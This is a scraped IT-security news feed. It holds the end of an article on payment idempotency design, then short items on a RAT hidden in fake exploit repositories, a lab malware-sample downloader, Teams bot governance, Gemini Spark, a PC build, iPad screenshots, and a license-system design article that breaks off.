<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-3.png?w=1024" alt="The second gap appeared a week into production and broke the intent assumption: a caller reused one key for two different requests, $200 and $500, and the system returned the first request's stored response without noticing the amount had changed." class="wp-image-4191748" width="1024" height="443" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>We fixed it by storing a fingerprint of the request’s contents next to the key, on the same insert, so a request that loses the claim race can still compare its fingerprint against the winner’s. If the fingerprints match, it’s a genuine retry. If they don’t, the key was reused for a different operation and we reject it.</p>



<p>That fix promptly rejected a valid retry. We had been fingerprinting the entire request, including a timestamp that changed between attempts and fields that arrived in a different order, so the fingerprints did not match.</p>



<p>A fingerprint has to capture what a request means rather than how its bytes are arranged. Hash a hand-picked list of business fields and you risk a silent collision: The one field nobody remembered to add lets two different requests match. Hash the whole request minus known noise like timestamps and the failure is loud instead: A missed volatile field rejects a valid retry. We chose loud, the fix came down to two lines:</p>



<pre class="wp-block-code"><code>intent      = drop_fields(request.json, volatile={"client_ts", "trace_id"})  # strip known noise only
fingerprint = sha256(canonical_json(intent))   # canonical form: keys sorted, numbers and spacing normalized</code></pre>



<p>Even “canonical” hides decisions. <a href="https://www.rfc-editor.org/info/rfc8785/">RFC 8785</a> pins them down, but it runs every number through an IEEE 754 double, which loses precision on large values, so money amounts are safer as strings or integer cents. Change the canonical form and every stored fingerprint stops matching, so we version it and store the version next to the fingerprint.</p>



<h2 class="wp-block-heading"><a></a><strong>The error we cached</strong></h2>



<p>The third gap came in through support: A customer hit an insufficient-funds decline, added money, tried again with the same key and got the old “insufficient funds” back. The provider was never asked. The system had been caching every response, declines included, so the failure stuck to the key.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/idempotentecy-4.png?w=1024" alt='The third gap came in through support: a customer hit an insufficient-funds decline, added money, tried again with the same key and got the old "insufficient funds" back. The provider was never asked. The system had been caching every response, declines included, so the failure stuck to the key.' class="wp-image-4191746" width="1024" height="579" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Violetta Pidvolotska</p></div>



<p>That forced the question behind the memory assumption: What is a key allowed to remember? The rule we landed on: cache only success.</p>



<p>A soft decline or a validation error releases the claim instead: The row flips back to claimable, fingerprint kept. The next attempt reclaims it with an update that only one retry can win and the customer who adds money gets a live attempt instead of a replay. Hard declines are the exception: A stolen-card response is final and that claim stays closed.</p>



<p>On a timeout, we don’t know whether the charge landed, so we ask the provider whether the charge already went through and act on the answer.</p>



<h2 class="wp-block-heading">Where the guarantee runs out</h2>



<p>The first three gaps were on endpoints under the team’s control. The fourth surfaced during reconciliation: A charge on an older provider’s statement with no matching internal record. That provider had no idempotency keys, and the guarantee had reached its boundary. We could not make it safe to call twice.</p>



<p>We got as close as we could: A pending record before the call, a status check before retrying, reconciliation to catch and refund whatever slips through. A window remains where the charge has landed and our record doesn’t know it yet. We kept shrinking that window, but we never managed to close it.</p>



<p>The database that holds the keys forces a decision of its own: When it is down, you either stop taking payments or take them unprotected. That choice is a business call. For a low-stakes write, cleaning up a rare duplicate can cost less than turning customers away. A payment is not low stakes, so we fail closed and stop taking payments until the store is back: A lost sale we can recover, and we had just spent a month learning what duplicates cost.</p>



<h2 class="wp-block-heading">Questions I ask in design reviews</h2>



<p>For anything that stores or changes data, I ask three questions:</p>



<ul class="wp-block-list">
<li><strong>What happens if this runs twice?</strong> Ask it out loud for every write.</li>



<li><strong>Can we prove the answer?</strong> Run it twice in tests, in sequence and in parallel; the second run should change nothing.</li>



<li><strong>Where does the truth live when systems disagree?</strong> For payments, it’s the provider because their records show whether money actually moved. Settle whose answer wins before an incident does.</li>
</ul>



<p>The key is a good idea and, in anything that moves money, a necessary one. It is just not a guarantee. The guarantee is the design around it: A claim that cannot race, an intent the fingerprint confirms, a memory that keeps only what is safe to replay and a boundary you have mapped in advance. That is the four-assumptions test. Every assumption gets tested eventually: You do it at design time or production does it for you.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.infoworld.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ChocoPoC RAT Targets Vulnerability Researchers via Fake PoC Exploit Repos]]></title>
<description><![CDATA[Attackers are hiding a data-stealing trojan inside fake exploit code aimed at the people who hunt bugs for a living. The malware, called ChocoPoC, travels in Python proof-of-concept (PoC) repositories on GitHub that claim to exploit hot new CVEs.

Run one, and it quietly lifts your saved password...]]></description>
<link>https://tsecurity.de/de/3640456/it-security-nachrichten/new-chocopoc-rat-targets-vulnerability-researchers-via-fake-poc-exploit-repos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640456/it-security-nachrichten/new-chocopoc-rat-targets-vulnerability-researchers-via-fake-poc-exploit-repos/</guid>
<pubDate>Thu, 02 Jul 2026 09:53:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Attackers are hiding a data-stealing trojan inside fake exploit code aimed at the people who hunt bugs for a living. The malware, called ChocoPoC, travels in Python proof-of-concept (PoC) repositories on GitHub that claim to exploit hot new CVEs.

Run one, and it quietly lifts your saved passwords, browser cookies, and files, then hands the attacker a shell on your machine. YesWeHack and]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a small MalwareBazaar downloader for lab sample collection]]></title>
<description><![CDATA[Hi all, I built a small Python tool for pulling MalwareBazaar samples into an isolated analysis / AV-testing lab, and Im sharing it in case its useful to other malware researchers or students setting up a safe workflow. It supports: - recent samples - search by tag - search by family / signature ...]]></description>
<link>https://tsecurity.de/de/3640009/malware-trojaner-viren/i-built-a-small-malwarebazaar-downloader-for-lab-sample-collection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640009/malware-trojaner-viren/i-built-a-small-malwarebazaar-downloader-for-lab-sample-collection/</guid>
<pubDate>Thu, 02 Jul 2026 04:02:50 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi all,</p> <p>I built a small Python tool for pulling MalwareBazaar samples into an isolated analysis / AV-testing lab, and Im sharing it in case its useful to other malware researchers or students setting up a safe workflow.</p> <p>It supports:</p> <p>- recent samples</p> <p>- search by tag</p> <p>- search by family / signature</p> <p>- filtering by file type</p> <p>- downloading the newest N matching samples</p> <p>- CLI mode and a small desktop GUI</p> <p>- Auth-Key setup and connectivity checks</p> <p>Important safety note: the tool does not extract or execute anything. Samples are saved exactly as MalwareBazaar provides them, as password-protected ZIP files, intended to be moved into an isolated VM/lab environment. Do not use this on a normal host or outside a controlled malware-analysis setup.</p> <p>GitHub:</p> <p><a href="https://github.com/greit0n/malwarebazaar-downloader">https://github.com/greit0n/malwarebazaar-downloader</a></p> <p>Id appreciate feedback on the workflow, missing filters, packaging, or anything that would make it more useful for safe lab use.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/gorgono95"> /u/gorgono95 </a> <br> <span><a href="https://i.redd.it/j72axmj98nah1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1ukq915/i_built_a_small_malwarebazaar_downloader_for_lab/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft struggles to address AI notetaker governance nightmare]]></title>
<description><![CDATA[Microsoft this week tried to address the growing challenges surrounding notetaker bots in meetings by giving IT better control over them.



Microsoft’s announcement said that users of Microsoft Teams will be able to block non-Microsoft bots “even in meetings where organizers allow participants t...]]></description>
<link>https://tsecurity.de/de/3639976/it-nachrichten/microsoft-struggles-to-address-ai-notetaker-governance-nightmare/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639976/it-nachrichten/microsoft-struggles-to-address-ai-notetaker-governance-nightmare/</guid>
<pubDate>Thu, 02 Jul 2026 03:17:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Microsoft this week tried to address the growing challenges surrounding notetaker bots in meetings by giving IT better control over them.</p>



<p><a href="https://techcommunity.microsoft.com/blog/microsoftteamsblog/introducing-smarter-bot-protection-in-microsoft-teams-meetings/4531375" target="_blank" rel="noreferrer noopener">Microsoft’s announcement</a> said that users of Microsoft Teams will be able to block non-Microsoft bots “even in meetings where organizers allow participants to bypass the lobby.”</p>



<p>When the feature is enabled, Teams automatically detects potential bots, places them in the meeting lobby, clearly identifies them, and prompts organizers to confirm admission, Microsoft said, and even in meetings where organizers allow human participants to bypass the lobby, bots identified through this new policy will continue to require approval before joining.</p>



<p>“We’ve strengthened Teams’ ability to distinguish between bots and human participants as they join a meeting,” the company said. “Teams now uses a combination of behavioral and infrastructure signals to identify bots with a higher degree of accuracy. Alongside these improvements, soon we’ll introduce <a href="https://learn.microsoft.com/en-us/microsoftteams/teams-bot-identification" target="_blank" rel="noreferrer noopener">a registration path for independent software vendors (ISVs)</a> that build meeting experiences for Microsoft Teams.”</p>



<p>The underlying problem with the strategy is more complicated, however. Although AI bots launched by the meeting owner are typically announced at the beginning of a call, and participants’ bots announce themselves as the attendees log in, alert fatigue is diluting how carefully people watch what they say during those meetings.</p>



<p>But the thornier issue is that meeting owners’ approval of their own bot notetakers typically happens right before the start of a call, and the host has no control over whether participants also introduce their own AI notetakers. </p>



<p>And even if the intended topic of a call was innocuous, if someone brings up something that needs to be kept secret, such as plans for a hostile takeover or discussion about firing an employee, that is duly recorded by every bot. This expands the threat surface and increases the ways sensitive data could leak.</p>



<h2 class="wp-block-heading">Doesn’t rein in Microsoft bots</h2>



<p>Analysts and consultants agreed that any effort to restrict notetaking apps is good for enterprise IT, but some questioned whether the Microsoft effort went far enough.</p>



<p>“Although this new capability is useful to prevent external bots from attending recurring meetings even if they were needed for just one instance, it doesn’t seem to me that it does anything to prevent Microsoft’s own bots from doing so,” said <a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group. </p>



<p>Indeed, the Microsoft statement solely talks about managing “external bots and their access to meetings.”</p>



<p>In fact, Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a> said the limited controls that Microsoft is offering may actually dilute IT’s ability to control access to sensitive information.</p>



<p>Allowing any additional AI notetaking “takes the option to restrict/redact off the table,” and that control is what he thinks IT leaders should demand. The only practical way to do that is to allow only one notetaking app for any meeting and it needs to be controlled by the meeting owner.</p>



<p>“Allowing attendees to ask for an AI summary from the meeting owner and giving the owner the capacity to provide different versions that potentially shield sensitive data is a better choice for organizations looking to support better meeting follow ups without adding more work on the meeting owner,” Henein said. “It could even be set up in advance so a ‘sanitized’ summary is available for download.”</p>



<p><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, agreed with Henein and argued that these notetaking app controls have to be centralized with IT.</p>



<p>“Microsoft basically built a bouncer for meeting bots and that is a good thing. But the real risk shows up later, when a normal meeting turns into M&amp;A, legal, HR, or board-level discussion while an AI notetaker is still running,” Findling said. “Now that transcript may be sitting in a cloud nobody approved. You do not fix that live. You fix it upfront. For legal, finance, HR, and exec meetings, external AI notetakers should be blocked by default unless explicitly approved.”</p>



<h2 class="wp-block-heading">Existing governance not enough</h2>



<p><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the slowly changing nature of AI notetakers has allowed them to slip by IT governance rules.</p>



<p>“A meeting note was once a harmless aid. It is now a searchable corporate record that can hold intent, allegations and material non-public information. Once a conversation is transcribed and saved, it has left the room, and it begins to travel through mail, search, and discovery with a life of its own,” Gogia said. “Microsoft’s control is useful, but should not be oversold. It detects external bots and puts them before an organizer for approval. It does not yet block them, and approval at the lobby is not a governance model. Capture also arrives by routes the lobby never sees, through browser extensions and personal devices.”</p>



<p>Gogia also argued that the inevitable errors in these bot-generated transcripts or summaries, whether caused by hallucination or simply incorrect interpretation what was actually said, is also a massive risk.</p>



<p>“AI summary does not merely create a record. It creates an authoritative-looking one that is often wrong and, in doing so, it inverts the burden of proof. Once a summary exists, the question shifts from proving what was said to disproving what the machine wrote,” Gogia said. “A tentative ‘we should look at acquiring them’ can harden into ‘we agreed to acquire them’ and that version becomes the default until someone corrects it.”</p>



<p>And, noted <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, the problem will only get worse as AI summary generators morph into agentic systems, with action-taking autonomous agents.</p>



<p>“Over the next few years, we’ll see AI agents that summarize, extract decisions, assign work, update business systems, prepare follow-up documents, and collaborate with other AI systems after the meeting ends,” he said. “In fact, we are already seeing that integration happen, and it is simultaneously incredibly valuable and outrageously risky. The real question isn’t whether to allow an AI notetaker. It’s how organizations will govern an increasingly machine-readable workplace.”</p>



<p>Greis said that he sees the Microsoft approach as a good start, “because they’re treating AI participants more like digital identities than software features.” </p>



<p>He pointed out, “detection, verification, explicit admission, auditability, and policy-based control are exactly the kinds of enterprise controls we’ll need as AI agents become commonplace. This feels very similar to identity and access management twenty years ago. We eventually realized we weren’t managing employees, we were managing identities. AI agents deserve the same treatment.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Brings Gemini Spark to Mac With Local File Automation]]></title>
<description><![CDATA[Google has launched Gemini Spark for its macOS desktop app, giving Mac users a new way to automate tasks involving local files, folders, and desktop workflows. The update adds a dedicated Spark tab to the Gemini app sidebar, where users can connect selected folders and let the AI agent handle spe...]]></description>
<link>https://tsecurity.de/de/3639550/ios-mac-os/google-brings-gemini-spark-to-mac-with-local-file-automation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639550/ios-mac-os/google-brings-gemini-spark-to-mac-with-local-file-automation/</guid>
<pubDate>Wed, 01 Jul 2026 21:39:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google has launched Gemini Spark for its macOS desktop app, giving Mac users a new way to automate tasks involving local files, folders, and desktop workflows. The update adds a dedicated Spark tab to the Gemini app sidebar, where users can connect selected folders and let the AI agent handle specific actions with permission.



Gemini Spark can work with files stored on a user’s computer, which makes it useful for tasks that usually take time when done manually.



Users can ask Spark to:




Sort PDFs from the Downloads folder into labelled subfolders



Pull figures from saved invoices



Create a Google Workspace budget spreadsheet



Set a schedule to update that spreadsheet regularly



Manage desktop tasks using only the folders they approve




Google says users can remove folder access at any time, and a future update will let them start Mac tasks from a phone.



More Apps Are Coming to Spark



Google has also added new Spark integrations for web and mobile, including Google Tasks, Google Keep, Canva, Dropbox, Instacart, OpenTable, and Zillow Rentals. These apps will let users turn Keep notes into task lists, design flyers, access files, order groceries, book tables, and reserve apartment tours.



The company is also adding custom MCP server support and real-time topic tracking for blogs, news, social media, finance, sports, shopping, weather, and email.



Gemini Spark for macOS is available in beta for Google AI Ultra subscribers aged 18 and above in the United States.]]></content:encoded>
</item>
<item>
<title><![CDATA[Don't Be Afraid of Installing Your CPU  🖥️ Part 3: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 10x - Views:37 Installing a CPU for the first time can feel intimidating... but it doesn't have to be. 

In this episode of my PC Build Series, we're assembling the motherboard by installing the AMD Ryzen 9 9950X processor, 128GB of Kingston Fury Beast DDR5 memo...]]></description>
<link>https://tsecurity.de/de/3638651/videos/dont-be-afraid-of-installing-your-cpu-part-3-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638651/videos/dont-be-afraid-of-installing-your-cpu-part-3-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Wed, 01 Jul 2026 15:32:55 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 10x - Views:37 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/FsaZYLpodFM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Installing a CPU for the first time can feel intimidating... but it doesn't have to be. <br />
<br />
In this episode of my PC Build Series, we're assembling the motherboard by installing the AMD Ryzen 9 9950X processor, 128GB of Kingston Fury Beast DDR5 memory, and three Kingston NVMe SSDs into the ASUS ROG STRIX X870-A Gaming WiFi motherboard. <br />
<br />
I'll walk you through every step, explain what each component actually does, and share the beginner mistakes to avoid so you can build with confidence.<br />
<br />
Whether you're building your first PC or upgrading an older system, this guide will help make the process much less stressful.<br />
<br />
👍 If you're enjoying this PC Build Series, don't forget to subscribe!<br />
<br />
https://www.ifixit.com/products/pro-tech-toolkit<br />
My build: https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D <br />
<br />
📺<br />
Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445837726262477428148556&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-mid-tower-a31-tg-steel-plastic-tempered-glass-computer-case-white%2Fp%2FN82E16811173067%3Fitem%3DN82E16811173067<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445835163683945762036176&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-3-0-compatible-atx12v-1000-w-80-plus-gold-certified-power-supply-tuf-gaming-1000g%2Fp%2FN82E16817320029%3Fitem%3DN82E16817320029<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094<br />
B&H: https://bhpho.to/46KcvYO<br />
<br />
Editor: @ColleenEdits<br />
<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Screenshot on iPad: Every Method Explained (2026 Guide)]]></title>
<description><![CDATA[Taking a screenshot on an iPad is one of the quickest ways to save information, capture conversations, keep receipts, or share something on your screen. Apple offers multiple ways to take screenshots, including hardware buttons, Apple Pencil gestures, AssistiveTouch, and even voice commands. 



...]]></description>
<link>https://tsecurity.de/de/3638376/ios-mac-os/how-to-screenshot-on-ipad-every-method-explained-2026-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638376/ios-mac-os/how-to-screenshot-on-ipad-every-method-explained-2026-guide/</guid>
<pubDate>Wed, 01 Jul 2026 13:39:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Taking a screenshot on an iPad is one of the quickest ways to save information, capture conversations, keep receipts, or share something on your screen. Apple offers multiple ways to take screenshots, including hardware buttons, Apple Pencil gestures, AssistiveTouch, and even voice commands. 



This guide covers every method available on the latest versions of iPadOS, along with where your screenshots are saved and how to edit them.



No matter which iPad model you own, you can capture your screen in just a few seconds. After taking a screenshot, a small thumbnail appears in the lower-left corner. Tap it to crop, draw, add text with Markup, or share it instantly. If you ignore it, the screenshot saves automatically to the Photos app.



Table of contentsHow to Screenshot on iPad Without a Home ButtonHow to Screenshot on iPad With a Home ButtonHow to Screenshot on iPad Using Apple PencilHow to Screenshot on iPad Using AssistiveTouchHow to Screenshot on iPad Using SiriWhere Are Screenshots Saved on iPad?How to Take a Full-Page Screenshot on iPadFAQsSummaryConclusion



How to Screenshot on iPad Without a Home Button



Most recent iPad models, including newer iPad Pro, iPad Air, and iPad mini, do not have a Home button.



Press the Top button and either Volume button at the same time, then quickly release both buttons. The screen will flash, and a screenshot thumbnail will appear in the corner. Tap it to edit or swipe it away to save it automatically.




Open the screen you want to capture.



Press the Top button and Volume Up or Volume Down together.



Release both buttons immediately.



Tap the thumbnail to edit, or ignore it to save automatically.




How to Screenshot on iPad With a Home Button



If your iPad has a physical Home button, the process is slightly different.



Press the Top button and the Home button together, then release them quickly. The screenshot is captured and saved in Photos.




Open the page or app you want to capture.



Press the Top button and Home button at the same time.



Release both buttons.



Edit the screenshot if needed or let it save automatically.




How to Screenshot on iPad Using Apple Pencil



If your iPad supports Apple Pencil, you can capture the screen without pressing any buttons.



Simply place the Apple Pencil at either bottom corner of the display and swipe diagonally upward toward the center. The screenshot editor opens immediately, allowing you to annotate, crop, or highlight content before saving it.




Hold your Apple Pencil near either bottom corner.



Swipe diagonally upward.



Wait for the screenshot editor to open.



Make edits with Markup if needed.



Tap Done and save the screenshot.




How to Screenshot on iPad Using AssistiveTouch



If your buttons are damaged or you prefer on-screen controls, AssistiveTouch provides another option.



Enable AssistiveTouch from Settings &gt; Accessibility &gt; Touch &gt; AssistiveTouch. Once enabled, customize one of its actions to take a screenshot. You can then capture the screen with a simple tap on the floating AssistiveTouch button.




Open Settings.



Go to Accessibility.



Tap Touch.



Select AssistiveTouch and turn it on.



Assign Screenshot to a custom action.



Tap the floating button whenever you want to capture the screen.




How to Screenshot on iPad Using Siri



If your hands are busy, Siri can take a screenshot for you.



Activate Siri and say, "Take a screenshot." Siri captures the current screen, and the screenshot appears just like it does with the hardware buttons.




Activate Siri.



Say "Take a screenshot."



Wait for the screenshot to be captured.



Edit or save it as needed.




Where Are Screenshots Saved on iPad?



Every screenshot is stored automatically in the Photos app.



To find them:




Open Photos.



Tap Collections.



Scroll to Media Types.



Open the Screenshots album.




How to Take a Full-Page Screenshot on iPad



When capturing supported documents or webpages in Safari, you can save the entire page instead of only what is visible on the screen.



After taking the screenshot, tap the preview, choose Full Page, review the complete document, and save it as a PDF in the Files app.




Open the webpage or document.



Take a screenshot.



Tap the thumbnail preview.



Select Full Page.



Tap Done.



Save the PDF to the Files app.




FAQs



Why can't I take a screenshot on my iPad?



Check whether you're pressing the correct button combination. If that doesn't work, restart your iPad, make sure you have enough storage, and update to the latest version of iPadOS if an update is available.



Can I edit a screenshot immediately after taking it?



Yes. Tap the thumbnail that appears after you capture the screen. You can crop it, draw with Markup, add text, highlight important areas, or share it directly.



Does Apple Pencil work on every iPad?



No. The Apple Pencil screenshot gesture is available only on compatible iPad models that support Apple Pencil.



Can I take screenshots without using physical buttons?



Yes. You can use Apple Pencil, AssistiveTouch, or Siri to capture screenshots without pressing any hardware buttons.



Summary




Use the Top + Volume button on iPads without a Home button.



Use the Top + Home button on older iPads.



Swipe up from the bottom corner with Apple Pencil for a quick screenshot.



Turn on AssistiveTouch if you want on-screen screenshot controls.



Ask Siri to take a screenshot using a voice command.



Find all screenshots in the Photos app under the Screenshots album.



Save supported webpages as full-page PDFs from the screenshot editor.




Conclusion



Now you know every way to screenshot on iPad, whether you prefer hardware buttons, Apple Pencil, AssistiveTouch, or Siri. Each method works well for different situations, and all screenshots are easy to edit, share, and organize. Once you learn these shortcuts, capturing anything on your iPad becomes fast and effortless.]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System…]]></title>
<description><![CDATA[Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System That Actually WorksHow DotScramble protects its Pro tier using Ed25519 cryptography — without phoning home on every launchA technical deep-dive into license system design for desktop applications — th...]]></description>
<link>https://tsecurity.de/de/3638150/hacking/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638150/hacking/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System That Actually Works</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*YN9I5rHkcktrdbyWgEKykg.png"></figure><h3>How DotScramble protects its Pro tier using Ed25519 cryptography — without phoning home on every launch</h3><p><em>A technical deep-dive into license system design for desktop applications — threat modelling, Ed25519 token verification, weighted hardware fingerprinting, and background revocation detection.</em></p><h3>The Problem With Most Desktop License Systems</h3><p>Most desktop software license systems fall into one of two failure modes.</p><p><strong>The naive implementation:</strong> a hardcoded or obfuscated license key string that the app compares against. Crack once, share forever. A single keygen posted to any forum defeats it permanently.</p><p><strong>The over-engineered implementation:</strong> online-only validation that calls home on every launch. Legitimate users can’t use the software on a plane, at a conference, or when the license server has a bad day. The result is user experience indistinguishable from DRM — with all the goodwill cost that implies.</p><p>DotScramble needed something in between: cryptographically sound, functional offline for days at a time, with server-enforced revocation when internet is available. This post covers how that system works.</p><h3>The Threat Model</h3><p>Before any implementation decisions, a clear adversary model:</p><p>Attack vectorRealistic?DefenceCopy .py source to another machineTrivialMachine fingerprinting + Cython binaryShare one API key across N machinesLikelyServer-side activation limit (max 2)Patch is_max_activated = True in sourceOne lineCython .so compilationForge a license token offlineRequires Ed25519 private keyAsymmetric signing — public key only in clientUse indefinitely without networkEasy7-day token TTL + background recheckRoll back system clock to extend tokenCleverMonotonic timestamp stored in SQLiteRevoked key continues workingSilentBackground 24h server recheck</p><p>The objective was not unbreakable DRM — that doesn’t exist 